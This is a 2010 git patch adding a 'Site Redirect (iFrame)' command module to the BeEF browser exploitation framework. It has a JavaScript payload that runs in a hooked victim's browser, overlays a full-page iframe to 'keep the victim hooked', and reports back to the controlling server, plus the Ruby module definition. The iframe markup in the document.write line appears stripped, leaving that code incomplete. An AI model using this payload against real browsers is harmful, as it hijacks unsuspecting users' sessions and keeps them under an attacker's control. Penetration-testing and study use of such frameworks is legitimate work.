From 00dbe6f278c80426f096348b84dc99aafa7b7950 Mon Sep 17 00:00:00 2001 From: "wade@bindshell.net" Date: Mon, 15 Nov 2010 12:50:04 +0000 Subject: [PATCH] site redirect iframe module added git-svn-id: https://beef.googlecode.com/svn/trunk@530 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9 --- .../site_redirect_iframe.js | 18 +++++++++ .../site_redirect_iframe.rb | 38 +++++++++++++++++++ 2 files changed, 56 insertions(+) create mode 100644 modules/commands/browser/site_redirect_iframe/site_redirect_iframe.js create mode 100644 modules/commands/browser/site_redirect_iframe/site_redirect_iframe.rb diff --git a/modules/commands/browser/site_redirect_iframe/site_redirect_iframe.js b/modules/commands/browser/site_redirect_iframe/site_redirect_iframe.js new file mode 100644 index 000000000..0d8956cf0 --- /dev/null +++ b/modules/commands/browser/site_redirect_iframe/site_redirect_iframe.js @@ -0,0 +1,18 @@ +beef.execute(function() { + + /* + TODO: + Automatically get and set iframe title. + */ + + var result = 'Iframe successfully created!' + var title = ''; + var iframe_src = '<%= @iframe_src %>'; + var favicon = iframe_src + '/favicon.ico'; + +// document.write('' + title + ''); + + document.write(''); + + beef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'result='+escape(result)); +}); diff --git a/modules/commands/browser/site_redirect_iframe/site_redirect_iframe.rb b/modules/commands/browser/site_redirect_iframe/site_redirect_iframe.rb new file mode 100644 index 000000000..f4d3a1087 --- /dev/null +++ b/modules/commands/browser/site_redirect_iframe/site_redirect_iframe.rb @@ -0,0 +1,38 @@ +module BeEF +module Modules +module Commands + + +class Site_redirect_iframe < BeEF::Command + + # + # Defines and set up the command module. + # + def initialize + super({ + 'Name' => 'Site Redirect (iFrame)', + 'Description' => 'This module will redirect the hooked browser to the address specified in the \'Redirect URL\' input. It creates a 100% x 100% overlaying iframe to keep the victim hooked.', + 'Category' => 'Browser', + 'Author' => 'ethicalhack3r', + 'Data' => [ + ['name' => 'iframe_src', 'ui_label' => 'Redirect URL', 'value' => 'http://www.bindshell.net/', 'width'=>'200px'] + ], + 'File' => __FILE__, + 'Target' => { 'browser_name' => BeEF::Constants::Browsers::ALL } + }) + + use_template! + end + + # This method is being called when a hooked browser sends some + # data back to the framework. + # + def callback + save({'result' => @datastore['result']}) + end + +end + +end +end +end